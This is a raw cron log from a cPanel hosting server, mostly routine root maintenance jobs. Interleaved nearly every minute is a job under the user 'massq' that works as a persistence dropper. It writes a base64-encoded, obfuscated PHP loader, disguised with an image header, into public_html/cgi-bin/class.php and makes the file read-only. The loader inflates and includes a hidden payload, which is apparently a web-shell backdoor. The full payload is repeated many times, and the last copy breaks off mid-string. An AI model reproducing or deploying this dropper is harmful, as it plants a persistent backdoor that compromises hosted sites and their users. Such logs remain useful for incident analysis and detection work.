Sep 13 01:05:01 server CROND[14182]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:05:01 server CROND[14183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:05:01 server CROND[14188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:05:01 server CROND[14187]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 01:05:01 server CROND[14189]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:05:01 server CROND[14190]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 01:05:01 server CROND[14191]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 01:05:01 server CROND[14186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:06:01 server CROND[15028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:06:01 server CROND[15029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:06:01 server CROND[15030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:07:01 server CROND[15410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:07:01 server CROND[15411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:07:01 server CROND[15412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:08:01 server CROND[15879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:08:01 server CROND[15885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:08:01 server CROND[15886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:09:01 server CROND[16253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:09:01 server CROND[16256]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 13 01:09:01 server CROND[16258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:09:01 server CROND[16254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:10:01 server CROND[16633]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 01:10:01 server CROND[16636]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:10:01 server CROND[16637]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 01:10:01 server CROND[16639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:10:01 server CROND[16646]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 01:10:01 server CROND[16645]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:10:01 server CROND[16650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:10:01 server CROND[16647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:11:01 server CROND[17462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:11:01 server CROND[17463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:11:01 server CROND[17464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:12:01 server CROND[17833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:12:01 server CROND[17834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:12:01 server CROND[17835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:12:01 server CROND[17836]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 01:13:01 server CROND[18297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:13:01 server CROND[18298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:13:01 server CROND[18299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:14:01 server CROND[18671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:14:01 server CROND[18672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:14:01 server CROND[18673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:15:01 server CROND[19061]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:15:01 server CROND[19063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:15:01 server CROND[19065]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:15:01 server CROND[19068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:15:01 server CROND[19066]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 01:15:01 server CROND[19069]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 13 01:15:01 server CROND[19067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:15:01 server CROND[19070]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 01:16:01 server CROND[19930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:16:01 server CROND[19931]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:16:01 server CROND[19932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQ